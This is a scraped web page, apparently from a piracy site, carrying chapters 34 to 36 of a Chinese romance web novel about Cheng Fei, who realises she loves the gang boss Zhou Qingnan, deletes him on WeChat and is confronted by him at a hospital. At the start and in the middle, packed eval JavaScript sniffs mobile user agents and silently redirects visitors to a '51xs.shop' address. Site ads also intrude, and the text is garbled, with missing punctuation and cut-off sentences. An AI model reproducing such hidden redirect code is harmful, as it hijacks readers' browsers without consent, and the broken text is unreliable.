l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481689|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙碌而繁华。 周清南脸色阴沉地站在路边静默须臾后拨出去一个电话。 没一会儿黑色越野便从车库里驶出稳稳停在他身前。 周清南上了车。 驾驶室里的陆岩通过中央后视镜往后瞄 后座周清南低着眸正在手机上回消息本来压根不想理陆岩但对方偷瞟的次数一多惹得他愈发不悦。 周清南眼也不抬冷冷道:“眼珠子不想要了?” 陆岩:“……” 陆岩尬住赶紧管好眼睛认认真真开他的车。 过了大 概十来秒,周清南才又出声,问陆岩:“想说什么。” 陆岩听周清南这么问,索性也就有话直说,问道:“老板,你和程小姐吵架了?” 周清南手指动作停了下,瞥陆岩一眼,微蹙眉:“我跟她有什么好吵的。” “那没有吵架,你怎么心情这么差?”陆岩问。 周清南没说话。 陆岩又接着道:“平时你只要和程小姐见过面,整个人都如沐春风的,今天有点儿反常。” 车厢内一阵死寂。 下一秒,哒一声,周清南锁了手机屏。他取出白玉珠,转动把玩,漠然直视着车窗外急速倒退的绿化带,然后忽然开口,没头没尾来了句:“下周我要出一趟远门,你帮我做点‘准备’。” 话音落地,陆岩脸上的神色瞬间微变。 陆岩从中央后视镜里看眼周清南,抿唇,迟疑地说:“老大,四少爷的性子你也知道,他一直就喜欢和你比、同你争,所有东西,一模一样的他都不会要,就只认你手上那个。” “现在程菲小姐是你女人的事已经传开了,四少爷难免不动歪心思……”陆岩沉吟,又补充了句:“可他毕竟是梅老的亲儿子,血浓于水,你怎么都得留点情面。” 谁知话说完,竟引来周清南一声嘲讽的嗤笑。 “别胡思乱想。”周清南转着玉珠子,语调散漫,“为这么点儿芝麻绿豆大的事,就把堂堂梅四少做了,你当我是杀人狂?” 陆岩噎住了。 周清南说:“喜欢抢就尽管来抢。四少可是梅老的亲骨肉,我对梅老忠心耿耿,怎么可能真对他怎么样。” 陆岩:“那……” 周清南:“这趟远门估计不会太平,你是聪明人,应该知道我想让你干什么。” 陆岩心思微转,而后颔首:“明白了。” * 今晚难得不用加班,程菲心情愉快,下午四点多在茶水间摸鱼的时候,顺手就给闺蜜温舒唯发去了一条微信消息,问她今晚有没有兴趣相约逛街。 一杯咖啡还没喝完,温舒唯的回复就来了:好啊!!!!!! “……”程菲好笑,隔着屏幕都能感受到好基友的兴奋劲,框框打字回复:逛个街而已,你至于这么激动吗? 注定要暴富的小温同学:我才不是因为可以逛街激动我是因为要见到你才激动! 注定要暴富的小温同学:亲爱的小菲菲同志你知道我们已经多久没见过面了吗? 程菲摸着下巴思考两秒回复:两周? 注定要暴富的小温同学:错!!!是一个月!!! 注定要暴富的小温同学:自从你进了电视台实习我们两个的见面频率就越来越低了【大哭】我恨! 程菲捏着手机噗嗤笑出声来赶紧安抚:摸摸头晚上请你吃麻辣烫安慰一下你受伤的心灵。 剩下的两个钟头很快结束。 打完卡程菲直接拎上包飞奔出公司火箭发射般直接冲进地铁七号线杀向市中心的购物广场。 抵达目的地下了地铁刷码出站。 程菲正把手机往包里装忽然眼前飘过一阵香风她整颗脑袋被埋进一副软绵绵又馨香的胸口。懵懵然间又听见头顶上方传来一道悦耳清亮的嗓音热情似火:“菲菲仔!” 抱住程菲的女孩子也就二十六七的年纪身形纤细肤色白皙五官立体分明漂亮得没有丝毫攻击性看一眼就让人心情舒畅是个难得一见的温婉型大美人。 程菲额头上滑下一滴豆大的冷汗奋力将自己的脑袋解救出来抬起手用力在温舒唯的脑门儿上一戳吐槽道:“你把我当沈寂啊一来就埋胸杀。” 温舒唯一张可爱的小脸瞬间红个透羞窘地回道:“呸他才没这待遇。” 两人东拉西扯瞎扯了两句 然而走着走着程菲就察觉到了怪异之处。 又过片刻她像是终于有点受不住了转头看向温舒唯不解道:“你老盯着我看什么呀?我脸上长草了?” “不是。”温舒唯摇头。 “那你在看什么?” 温舒唯:“我觉得你不对劲。” 程菲更迷茫了问:“哪里不对劲?” “表情动作眼神神态……哪儿哪儿都不对劲。”温舒唯深沉地眯了眯眼睛突然脖子一抻直接怼程菲眼皮底下若有所思道“这状态我怎么看都觉得好眼熟。” 程菲被好友端详得心里发虚眼神 闪烁,没说话。 这时,又听温舒唯恍然大悟地“啊一声,两只小手一拍,弹个响指:“我想起来了!就跟我刚和沈寂恋爱那会儿的状态差不多! 程菲:? 程菲缓缓打出一个问号,很不解,“……那是什么状态? “坠入爱河的状态啊。温舒唯换上副阴险笑容,肩膀一搡,撞了撞程菲,冲她挤眉毛,“快点,老实交代,心里是不是有人了呀? 程菲:“………… 就无语。 前有她爹妈和顾姨槐叔怀疑她搞地下恋,后有闺蜜小温一口咬定她坠入爱河,她这是捅了恋爱脑的窝了吗? 作者有话要说 小温同志:机智如我,一眼看穿! 大佬:感谢嫂子助攻。 —— Emmm大佬你清醒一点,你现在还没掉马呢,你沈嫂子以为自己的菲菲宝贝喜欢上的是黒帮非主流黄毛恨不得拿刀劈了你,是来跟你对着干的【笑哭】 菲菲仔马上要正视自己对大佬感情了!另外欢迎小温同志客串!这是我完结姊妹篇《寒鸦》的女主角,我也超爱她(逮住小温狂rua) 《炽烈》我个人感觉是目前整个系列里最不好写的一篇,对男主来说他有太多太多责任要背负,对女主来说她爱上一个边缘人物,是她自己以及周围环境、社会大环境都不可能接受的,但是我真的特别喜欢这一对,我会努力写好这个故事! 第 35 章 春心萌动。 第35章春心萌动。 程菲实在是很佩服身边的这帮狗头军师。 看着眼前满脸八卦姨母笑的温舒唯,她沉默了足足三秒钟,才终于轻皱眉头,忍无可忍地说:“你知道吗,前段时间我妈和我顾姨他们成天怀疑我搞地下恋,今天刚跟你见面,你又说我坠入爱河。我真的很想知道,你们是怎么得出这些离谱到没边的结论的?” 听程菲说完,温舒唯的注意力却全在她前半段话上。 温舒唯认真思考了下,旋即悚然震惊,睁大了眼睛:“我的天,难怪我看你状态这么迷惑,双目含情春光满面,一副坠入爱河的样子,你真和那个黒帮老大搞到一起了?” 程菲被呛了下,动了动唇正要解释,边儿上的大美女却已经给她训上了。 温舒唯一脸哀其不幸怒其不争的表情,抬手直接在程菲胳膊上轻拍一下,愤愤然:“我跟你说过多少次,让你离那种人远一点,你怎么就不信邪呢?多大年纪的人了,还跟个十五六岁的小少女一样迷恋坏男人,当初高中我也没见你看上哪个不良少年啊!” “谁说我和那个黑老大搞到了一起?”程菲下意识否认,说话的语气与神态里却透出连自己都没察觉到的心虚,磕巴着道,“你、你别在这儿瞎说,我跟那人现在的关系,撑死就算是互相帮过忙的熟人,根本不是你们想的那样。” 温舒唯哼两声,在程菲脑门上一戳:“少骗我了!我认识了你多少年?咱们两个可是穿一条裤子长大的,你有没有春心萌动,我能看不出来?” 程菲又觉得不服气又觉得好奇,顺势回了句:“你们一个个都说我有情况,我倒是好奇了,你们是神仙转世、能掐会算还是怎么着?又没证据,怎么就这么笃定我‘春心萌动’?” “好,还跟我嘴硬是吧?”温舒唯怄得脑仁儿疼,朝程菲缓慢点头,“我现在就让你看看证据。” 程菲狐疑,用一副警惕又探究的眼神看向温舒唯,“……你哪儿来的证据?” “别急,马上就有。” 只见亲爱的好友在劈头盖脸把她训了一顿后,低下了脑袋,在自己随身背的单肩包里翻找起来。半秒后,取出手机,解锁屏幕,直接打开前置摄像,二话不说 怼到了她脸上。 程菲下意识抬眼看向面前的手机屏。 手机镜头有点畸变,她脸型本就尖俏小巧,让屏幕一收,显得稍稍有点窄,因此上面的五官便显得更加立体,娇俏妍丽,眼角眉梢间全是掩不住的媚态。 程菲一时间怔住了。 耳畔紧接着便传来温舒唯同志的解说点评。她一本正经地道:“你瞧瞧你这张脸,粉面桃腮面如桃花,你再瞅瞅你这双眼睛,秋水明眸秋波荡漾,眉毛、鼻子、嘴巴、下巴,甚至是这头仿佛海藻般浓密飘逸的头发丝,都写着几个大字。” 说到这里,温舒唯停顿了下,用她身为记者的专业口吻采访程菲:“请问这位小姐,你知道是什么字吗?” 程菲这会儿整个人都已经懵了,很迷茫地回望好基友,摇头:“不知道。” 温舒唯正色:“写着‘我思春了’。” 程菲:“……” “啧啧啧。”替程菲答完疑解完惑,温舒唯又露出个老气横秋的表情,伸出两根纤细的手指,捏住程菲下巴,小流氓调戏良家少女似的往上一勾,打总结,“就这副有女怀春的尊容,你还敢跟我说你没、动、春、心?” 程菲着实是被温舒唯这番明明狗屁不通却又自信异常的推理给震慑住了,陷入了深深的沉默。 在心中暗道:注定要暴富的小温同学不愧是网红名记,胡扯起来一套接一套,就连向来自诩嘴强王者的她都要甘拜下风,自愧弗如。 程菲沉默了整整五秒钟,才抬起手,将温舒唯举到自己面前的手机给压下去,冲基友发出由衷的疑问:“温老师对成语的使用真是炉火纯青出神入化,有这水平,高中那会儿你怎么不竞选一下语文课代表呢?” “我才不当语文课代表呢,又要收作业又要帮老师跑腿……”温舒唯很自然地回了句,回完一顿,这才反应过来自己又被程菲给带偏了,赶紧清清嗓子重新拉下脸,说,“这位女士,请你不要转移话题,我现在很严肃。” 程菲好笑,噗嗤一声,抬起胳膊一把环住温舒唯的肩膀,语气松快道:“好了别这儿严肃了,咱俩是什么关系,我如果真有情况,怎么可能瞒着你。” 温舒唯用半信半疑的目光打量程菲,还是满面的忧色,不确定道:“真的吗?你和那个 坏男人……真的没有发展什么不该发展的关系? 程菲诚恳地回视,点头:“真的。 温舒唯和程菲是多年的挚友,她对程菲是发自内心的关怀。仍旧不放心,又试探地问:“那你心里也没有其他想法? 听见这个问句,程菲眸光轻微动了动。她没有立即回答温舒唯的话,只是若无其事地把脑袋转到了一旁,看别处,随口笑着说:“大街上人来人往,你就准备一直站在地铁口跟我聊天呀? 温舒唯察觉到她态度躲闪,微拧眉,正要接着说什么,手掌又被程菲亲昵地一把抓握。 “说好要请你吃麻辣烫的。程菲转眸朝温舒唯弯唇,眉眼含笑,“那家店很火的,咱们这个点儿去说不定个还要排队,别到时候大半夜都吃不上。快走吧。 温舒唯望向程菲的眼神变得有点复杂。她迟疑了下,终究还是朝程菲回个笑容,点点头,“嗯。 * 程菲请温舒唯吃的那家麻辣烫,开在市中心的一条老街上,店主是一对本地老夫妻,六十来岁,勤劳朴实,听说靠着这家麻辣烫小店给家里供出来两个大学生。 如今两个孩子都已经有了自己的事业,本想让老两口关了店在家安享晚年,无奈两两口闲不住,这店也就一直开到了现在。 七点多,天色暗下来,城市各处都亮起霓虹灯。 两个姑娘来到麻辣烫小店的门口,果然如程菲所言,门口的小板凳上已经坐了不少人,有老有少有男有女,都是慕名前来品尝美味的食客。 温舒唯眼疾手快,赶紧抢占下两个空板凳,程菲则去前台取号。 不多时,程菲手里捏着一张排号小票折返回来,坐在了温舒唯身旁,幽幽叹了口气,道:“听说以前这家店只有本地人知道,后面来打开的旅游博主美食博主一多,它一夜之间就爆火了,我上个月跟我妈过来吃也排了半个小时。 “好吃的店铺值得被更多人发现。温舒唯朝程菲露出个笑,“反正晚上又没什么事,排队就排队吧。 程菲:“我是怕你饿肚子。 温舒唯心里一阵温暖,继续笑眯眯:“我下班之前吃了几个无糖饼干,不饿。 两个女孩排排坐聊了些有的没的。 不多时,温舒 唯想起数分钟前那个没说完的话题,犹豫片刻,终于还是禁不住开口,对程菲说:“刚才我问你的那个问题,你还没有回答我。” 程菲闻声,面上的笑意肉眼可见地微微一僵,旋即又换上副困惑的表情,看着温舒唯,“比如呢,你觉得我会有什么想法?真像个十几岁的高中生一样,喜欢刀尖饮血的古惑仔?” 说完,程菲失笑摇头,“我有这么幼稚吗。” 温舒唯这次不开她玩笑了,神色柔静,说:“我倒不是觉得你幼稚,我只是真的很担心。” “担心什么?” “担心你被坏男人骗。”温舒唯沉声道。 程菲安静了会儿,眼帘低垂下去,回答:“其实,他真的和你想象的完全不一样。” 女孩子的直觉都很准,温舒唯听程菲这么一说,心里便已隐约猜到什么。 她心累地长叹出一口气,压低声音说:“再不一样,那也是这个社会的边缘人物、危险人物。你之前又不是没见识过他所处的环境是什么样子,你跟这种人在一起,根本就不可能有未来。” 程菲闻声,心里莫名便生出几分慌乱,两颊温度也不受控制地飙升几度,支吾道:“……我只是觉得他好像有点不一样,又没说我想跟他在一起,你不要乱脑补。” 温舒唯瞪大眼:“你都觉得他不一样了,还说不喜欢他?” 听见“喜欢”这个词,程菲整个人瞬间微滞。继而便糊涂地皱起眉,换上副格外诚挚的语气,问温舒唯:“等等。你能不能先跟我科普一下,喜欢一个人,到底是什么感觉?” 温舒唯看她的表情那叫一个无语,静默两秒,才道:“根据我的亲身体验,刚开始喜欢一个人,最典型的特征有三个。” 程菲听得很认真,好好学生般发问:“哪三个呀?” 温舒唯于是竖起一只白白的小手掌,掰着指头依次数起来,“第一,无论现场有多少人,你总是会第一眼就注意到他,其他人在你眼中会自动被忽略。” 人群中总是第一眼就注意到? 程菲在脑海中回忆了下,发现确实。不管在任何场合,只要那位大佬在的地方,她总会第一眼就看见他。 ——完蛋,中。 温舒唯接着说:“第二,和他单独相处的 时候你会觉得很紧张好像整颗心被悬在了半空会随着他每句话、每个举动甚至每个神态忽上忽下。” 见到就很紧张? 程菲仔细一琢磨发现真是。回回见到那个大佬她可不就都紧张到无所适从手脚都不知道该往哪儿搁吗? ——完蛋又中。 温舒唯压下第三根细白手指继续:“第三你会很关心他。看到他生病或者受伤你会觉得特别心疼甚至会变得很唠叨叮嘱他去看医生、去医院接受治疗暗示吃药什么的。” 受伤就心疼唠唠叨叨催人去医院? 程菲又是一阵思索瞬间就想起之前那位大佬腹部受伤她知道消息后第一时间冲到他家对着他疯狂唠叨催他去医院这件事。 ——全部中。 短短几秒钟程菲整个人愣在了小板凳上脸色一阵青红一阵白呆若木鸡一时间根本没办法接受这个过分残酷的事实。 真是个比鬼故事还惊悚的鬼故事。 她居然真的喜欢上了周清南? 程菲脑子还懵懵的半天回不过神来一旁的名侦探温舒唯将她所有的表情变化尽收眼底眯了眯眼睛两秒不到什么都悟了。 “怎么样?”温舒唯抬手覆上程菲纤弱的肩深沉道“这位施主在老衲的提点下是不是终于参透了自己的本心?” 此时回过味来的程菲已然诚惶诚恐、如遭雷劈哪儿还有闲情跟温舒唯瞎扯淡。 她肩膀颓然地一塌犹如被霜打过的茄子般又蔫又沮丧:“你这么一分析 温舒唯两手一摊:“早看出来你不对劲了只是你一直不承认而已。” “我一定是被那个人的美色所迷惑……”程菲焦灼起来下意识捉住温舒唯的胳膊轻轻晃动“那现在怎么办?有没有什么办法让我马上清醒过来?” 温舒唯本来还想教育程菲两句结果一扭头看见她这副衰兮兮的小模样又有点于心不忍。 温舒唯静了静只是一声老气横秋的长叹:“之前你一直记着小时候那个哥哥我操碎心巴不得你早点走出来。万万没想到你现在好不容易又有了一个心动男嘉宾居然是个黒帮老大……早知道这 样,你还不如继续替你那个小哥哥守活寡呢。” 闻言,程菲神色微凝,但也只是刹那。她很快就从久远的记忆里抽身回来,说:“我对小哥哥的感情,跟对那个黑老大的完全不一样,根本不能相提并论。” 温舒唯扬眉瞧她:“哦?” “真的!” 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 程菲正色,非常严肃地强调:“我小哥哥是世界上最好的人。我对小哥哥是年幼相识感情真挚,对那个坏男人……只是单纯的见色起意,一时新鲜感,没得比。” “好吧,这句话我还是相信。”温舒唯了解程菲对童年那个小哥哥的情感,点了下头。 程菲随之又肩膀一垮,陷入深深的苦恼:“那我现在到底应该怎么做,才能及时止损?” 温舒唯:“你都说自己是见色起意,那你以后再也不见那个老大,不就好了?” 程菲悲伤地摇头:“我们现在有工作上的接触,没办法不见。” “这样啊。”温舒唯不满地摸了摸下巴,思考片刻,又问程菲,“他对你有意思吗?” 程菲耳根子猛地一烫,含糊道:“没有吧……” 温舒唯听后,很快便给好基友指出另一条明路,“那重点就是你的态度。请你对人家冷淡起来,除工作之外,坚决杜绝跟那位老大的一切接触。” 程菲思索了会儿,下定决心,颔首:“好。” * 晚餐的时候程菲和温舒唯小酌了几杯桂花清酒,晚上九点多,两人各自乘地铁回家。 错开了早晚高峰,程菲乘坐的线路乘客并不多,她幸运地坐到了一个位子。 刚才喝过酒,这会儿程菲脑子有点儿晕乎乎,捏着手机发了会儿呆,鬼使神差般,打开了微信APP。 将消息界面往下拉,不多时,视线里映入一个背景黑暗的头像:浩瀚夜空,点点星河,看着幽远而又孤独。 点进去。 双方的聊天内容还停留在好几天前。 当时她即将出发去萧山,想顺便给周清南也求一个平安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481690|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符,所以特地加了他好友。 对话的回合数不多,手指往上翻,没两下就到了头。 程菲张嘴打了个酒嗝,眼皮沉沉的。 然后,她指尖挪动,戳进了那个黑沉沉的夜色 头像,点进了“资料设置”功能区。 指尖悬停在“删除联系人”这五个字的上方寸许,她轻轻咬了咬唇瓣,陷入纠结——老实说,从两人认识到现在,周清南确实对她不错。他又没做什么过分的事,忽然把他的微信删了,是不是不太好啊…… 程菲思来想去纠结不已,大脑越发混乱。 就在这时,旁边一个女孩站起身来准备下车,抓扶手时没站稳,一个踉跄,整个人忽然撞向程菲右手臂。 程菲没留神,在那股力道的撞击下手一抖,哒,删除成功。 她:“…………” “对不起啊美女。”女孩好不容易抓住扶手站稳,回头不住地道歉,尴尬极了,“对不起,真的很对不起!” 程菲又衰又囧又丧,看女孩道歉态度这么诚恳,自然不好再说什么,只能回句没关系,有点迷蒙的目光重新回到消息界面上。 这一次,那个夜空头像便再也不见踪影。 半晌,程菲将手机屏熄灭。 算了。 删了就删了吧。 八竿子打不着边的两个人,阴差阳错有了缘分,本来就是个错误,命中注定不会有什么故事。 把周清南从微信好友里删除,也把他从她心里删除。 删干净,一切就能真正回归正轨了吧。 程菲头重得厉害,迷迷糊糊地想。 * 滨港之后连续下了两天雨,等到雨过天晴,气温骤然飙升。 程菲本以为,忙完招待梅氏集团一众贵客的饭局,到正式启程去兰贵之前的这段时间应该都没什么事,她能好好休息个几天。 然而,变化来得太快就像龙卷风,周日一大早,还在被窝里的程菲就被一阵手机铃声惊醒。 她睡得正香,手一捞,迷迷糊糊接起来,听筒里立即传出蒋兰女士的声音,语速稍快,听上去有些焦急。 “菲菲,你还没起床呢?” “正准备起呢。”程菲听出一丝不对劲,皱起眉毛,“怎么了妈?” “你顾姨进医院了,我都才知道。”蒋兰催促,“你赶紧起床收拾一下,市医院住院部骨科9楼。” 话音落地,程菲所有的瞌睡虫瞬间跑了个没影儿,惊慌道:“顾姨出什么事了?骨 科?摔倒了吗?” “你顾姨昨晚不是在东门口摆摊吗半夜遇上几个喝多了的想吃霸王餐。”蒋兰也忧心得很叹气“你顾姨的暴脾气你也知道一点就炸哪儿能忍得了?说是跟那俩小年轻打起来了。” 程菲:“……” 没再多问她火速挂断电话从床上弹射而起以最快的速度洗漱收拾冲出了家门。 数分钟后出租车在市医院住院大楼前停下。 程菲推开车门一路狂奔终于在骨科908病房里见到了她心心念念的顾姨。 空气里充斥着消毒水的气味顾静媛穿着病号服半靠在病床上左手臂打着石膏掉胸前唇色泛白满脸不耐一头羊毛卷乱糟糟地堆在头顶整体造型看上去十分狂放不羁。 病房是双人间外面的床位空着顾静媛睡的是里面那张。 程国礼和蒋兰站在旁边。两人明显也刚到不久手里拎的一箱牛奶和水果都还来不及搁桌上。 “顾姨。”程菲抹了把额头上的汗珠气喘吁吁走进去蹙紧眉头道“你伤得怎么样?严不严重?” “就胳膊有点小骨折你槐叔大惊小怪非要拖我来住院做个全身检查。还搞得你们全部都知道了神经。”顾静媛低咒了句不爽得很边说边拿没打石膏的手去摸索床头的柜子想拿烟来抽。 “槐叔也是关心你嘛。”程菲见顾姨精神不错还有心情骂人放下心来顺手又把柜子上的香烟跟打火机给先一步收走冲顾静媛促狭地眨眼睛“住院期间病房可是无烟地带这个您老人家就暂时别碰了。” 顾静媛无语白程菲一眼接着又没好气地道:“要不是我现在上了点儿年纪就那两个小瘪三能让我折只胳膊?操蛋。” 蒋兰笑容温柔:“你也知道自己上了年纪那就配合医生好好检查一下就当今年的体检提前做了。” 顾静媛看了眼蒋兰知道这群老友都是关心自己也不好再满腔怨气了 程菲转动脑袋在屋子里环视一圈问:“槐叔呢?” “你顾姨想吃鸡蛋羹。”程国礼笑答“你槐叔回家给她做去了。” 程菲点点头又问:“那昨天打伤顾姨的两个混混呢?” 程国礼:“楼下。” 程菲:? “你顾姨抡着搬砖给给人打得头破血流 顾静媛一笑扬手摆了下豪情万千“低调。” 程菲:“……” 别人家里的长辈团德高望重慈祥和蔼她的长辈团过肩龙糙汉与抡板砖女侠比年轻人还癫。 程菲不知道说什么了陪着顾姨和她爸妈在病房里又聊了会儿天之后就被蒋兰使唤着下楼去给顾姨买住院期间的一些生活用品。 上午的住院部全是人电梯里也跟下饺子似的。 程菲等了会儿电梯连续两次都没挤上去之后无奈放弃默默去安全通道走楼梯。 下到8楼时跟一道高个儿身影迎面相遇。 程菲正低着头想事情见头顶多出一道黑色阴影也没多想侧身就想从人影旁边绕开。 然而她往左那人往左她又往右那人也往右。 步子懒洋洋又漫不经心就是不给她让路。 “……”程菲有点不高兴了微皱眉头正准备问候一下对方是不是有什么大病。不料眼帘一抬整个人当场石化。 她站定了错愕地瞪大眼睛望着头顶上方那张英俊又冷沉的脸好一阵都说不出话来。 须臾。 “怎么。”周清南轻嗤“不认识了?” 此言一出程菲立刻回魂。面对他她只感到莫名的尴尬与窘迫同时又十分心虚很快便重新低下头干巴巴地打了声招呼:“早上好。” 说完她迟钝地反应过来什么瞄他一眼难掩担忧:“……你怎么会在这里哪里不舒服来看医生吗?” “先别管我为什么在这儿。” 周清南居高临下直勾勾地瞧着她眉峰一抬道“请程小姐先给我一个合理的解释。” 程菲没反应过来很茫然:“解释什么?” “为什么删我好友。” “……”呃。 作者有话要说 随机100红包包~这几天就要去兰贵咯将会迎来史诗级大突破大家可以期待一下! 第 36 章 小祖宗。 第36章小祖宗。 医院里大部分人都在几个电梯厅堵着,楼梯间这边倒是难得的清净。 程菲和周清南就这么僵持上了,你不言来我不语,半晌都没人出声。 这片空间鸦默雀静。 周清南盯着面前的小姑娘看,见她耷拉着脑袋眼神闪烁,一副根本都没勇气抬头看他的模样,不由轻微拧了下眉。 他是真觉得自己越来越不对劲了。 昨晚一宿没睡好,今天早上不到六点钟他就醒了。腹部伤口已经好了大半,对肢体活动的影响已经不大,他拿出干净纱布给自己换了药,然后就躺回床上抽烟。 抽进肺里的是尼古丁,吐出来的每口烟雾,素白又婀娜,却都描摹成一个女孩的轮廓。 干净,洁白,纯美无暇。 连抽两根之后,一口吸得有些急,他被呛得轻咳出声。咳嗽牵扯到伤处,痛感便在大脑里蔓延开,尖椎般刺入他的神经。 可是咳嗽完,周清南还是继续点了第三根烟。 烟雾在黑暗中升腾飘散的样子,太像姑娘白皙的皮肤,也太像她温软的浅笑,甚至连那种转瞬即逝、虚无缥缈的梦幻感,都和她相似。 在他眼中,她给予的所有都像是一种恩赐。 即使是深入骨髓的疼痛,也让人迷恋。 第三根烟抽完之后,落地窗外的天空已经泛起一丝鱼肚白。 周清南起身去了浴室,翻出一张大号防水贴,撕开背面包装纸。然后抬头,看向大理石台面上方的镜子。 天色到亮不亮,浴室里没有开灯,光线昏沉。依稀可见镜中映出一副敞露的男性躯体,肌肉紧硕,线条分明,每块肌理都像有生命,在暗光中结实地贲张呼吸,上头刀疤横错,一点不精致,只让人觉得狰狞骇人,野性难驯。 周清南用防水贴覆住腹部的新伤,随手拧开水龙头,冲澡。 水声哗啦而下,在紧实的肌肉上肆意冲刷。 他闭上眼。 一息光景,脑海中忽然闪过双怯生生又隐含怒色的眸,接着,一滴晶莹汗珠,顺着姑娘柔美的脸颊耳际滑落,滑过小巧的下颔,修长的脖颈,绵延没入一道奶白色的深深沟壑…… 周清南暗暗咬了下牙,全身燥热起来,血液完全失控,万马奔腾般朝一处汇聚,顶得他下一秒就快爆炸。 他没有睁开眼,眉心的结越皱越紧,在黑暗中扣住花洒开关,往反方向一掰,灼热的水流温度急转直下,瞬间冰凉浸骨。 身体变得很冷,但心里的火越越烧越旺,他整个人像被烈焰焚灼,奔涌的血浪难以平息。 冲了大概五分钟冷水澡,周清南薄唇紧抿,关了水,顺手扯过一张干净浴巾围腰上,走出浴室。 手机在床头柜上充电。 他走过去,一把扯掉充电线,点亮手机屏幕,手指翻找滑动两下,进入微信APP。 周清南其实很少用微信。他很忙,鲜少有能浪费在社交软件上的空闲时间,因此这个上添加的好友也不多,两只手就数得过来。 聊天消息这一界面也很干净。 周清南一眼就看见了页面最上端的金元宝美少女头像,他没加备注,昵称就是对方的网名,叫“美少女壮士小程同学。 加上这姑娘微信之后,他和她就只有第一天聊过几句,她说自己要去萧山太公顶,主动提出可以顺便帮他也求一个平安符。 后面的这段时间,周清南一直没再用微信找过她。 捏住手机的修长五指,慢条斯理摩挲过纯黑色的金属边,这种触感,让他回想起女孩滑腻纤软的手腕。 明明告诫了自己很多次,不能再靠近。 如今所有,不过饮鸩止渴。 然而,眼是情苗,心做欲根,他中了毒发了疯,心里的鬼太多,魔魅作祟,言行思绪便逐渐脱缰,难以再受理智这个枷锁的掌控。 沉吟两秒后,周清南点击屏幕,在输入框里敲下了一行字文字。 【栏目的策划案我这里缺一份电子档,麻烦程小姐抽空发我邮箱。】 输入完,周清南点了下“发送键。 紧接着就跳出来一个红色感叹号,附加一句系统提示语:抱歉,您和美少女壮士小程同学还不是好友,无法发送消息,请先进行好友验证。 周清南:“…… 不是好友无法发消息?什么意思? 看着屏幕上的这行文字,周清南轻微眯了下眼睛,思索半秒,回过味来—— 所以。 自己这他妈是被那小东西给删了? 好友是她莫名其妙主动加的现在一声不吭地说删就删召之即来挥之即去耍他玩儿是吧。 周清南站在原地冷不丁嗤出一声都他妈让这条系统提示给气笑了。片刻他左手用力地拧了下眉心右手打开手机通讯录找到一个号码拨了出去。 嘟嘟两声接通听筒对面的人毕恭毕敬地招呼了声:“老板。” “人在哪儿。”周清南缓慢掐着太阳穴语气不善。 对面便恭谨地汇报不敢有丝毫遗漏“昨天晚上程小姐和朋友去新环广场吃的晚饭回家之后一直到一个钟头前才出门这会儿在市医院住院部。” 听见“市医院”这个字眼周清南脸色微微一变语气却没有变化:“她去医院干什么。” 底下人回答:“应该是哪个亲戚住院了过来探视。” 下一秒周清南面无表情地挂断电话随便抓起一件衬衣往身上一套径直大步朝外。 心里确实很窝火。 这个说法还委婉了点 镜头回到市医院住院部8楼的楼梯间转角。 此刻看着跟前这只几乎要把整颗脑袋埋胸口里的小鸵鸟周清南等了半天没等到她吭声只能再次开口道:“你说话。” 程菲被这三个字的命令给吓了吓本来就对他有愧疚心虚得很这会儿更不知道怎么回答了。 说话说什么? 总不可能直接告诉他她是因为发现喜欢上了他为了强行斩断情丝才发神经删掉他好友。 ……早知道就不删了。 把他留在好友列表里能怎么样?搞成现在这个局面被人质问了还得现编理由郁闷。 程菲心里思索着愁眉不展越想越忧伤。 对面周清南见她还是没说话终于彻底没辙了。 怎么能不无奈?大清早起床了好不容易想出个理由给她发消息结果就发现自己被删了。 他满肚子鬼火没地儿撒出门那会儿还想 着见了面得好好教训让她长点儿记性可当这姑娘真的水灵灵出现在面前他就所有脾气都没了。 舍不得打舍不得骂甚至连句重话都说不出口最后只能压下所有愠恼心平气和地问一个原因。 哪成想这小祖宗反而委屈上了脸蛋皱巴成一团跟只软乎乎的小包子似的低着头闷不做声就跟她才是哑巴吃黄连有苦说不出似的。 周清南就这么直勾勾地瞧着程菲静等半晌后终于侧过头沉沉吐出口气。 周清南第三次开口语气里多出几分无可奈何:“为什么删我你给个理由。” 都说事不过三显然这位大佬耐着性子连问三次已经是极限。 程菲暗咬牙心想一直这么装死确实也不是办法于是便睁眼闭眼做了个深呼吸定下心神故作淡定地回他:“删、删你一定要有理由吗?” 周清南:“要。” 程菲:“……” 行。一定要有理由是吧?看我马上给你编一个! 程菲脑瓜子飞速运转仅仅半秒钟她便继续淡定地答道:“因为我微信好友的数量达到了上限必须删一个才能加新的好友所以我就把你删了。” 周清南让这个滑稽的理由气得无声一勾唇扬扬眉眼神却沉得格外危险轻声又说:“你的意思是删我是为了给你的新好友腾地儿?” 程菲理不直气也壮磕巴着回:“对呀。” 周清南:“那你怎么不删其他人?” “其他人……”程菲脸蛋一红心里一慌半天憋不出下文思来想去好几秒才支吾着道“其他人都是隔三差五会聊聊天的 周清南闻声浅色的瞳定定注视着她片刻点了点头“好。” “……”?好?什么好? 程菲狐疑地瞟周清南一眼不知道这位高深莫测的大佬是想表达什么意思。 “手机拿出来。”周清南说。 唔?程菲不解地皱了下眉毛。 奈何人周大佬的气场着实太强这个节骨眼儿上程菲不敢惹他因而也没敢多问乖乖从小挎包里拿出手机举到他面前。 “喏 。”程菲老实巴交地说,“我的手机在这。你要干嘛?” 周清南朝她动了动下巴,道:“微信打开。” 程菲更疑惑了,完全猜不到这人葫芦里在卖什么药,只好听话照做。 就在她心虚紧张又一头雾水的时候,对面的周大佬终于又有了新动作。 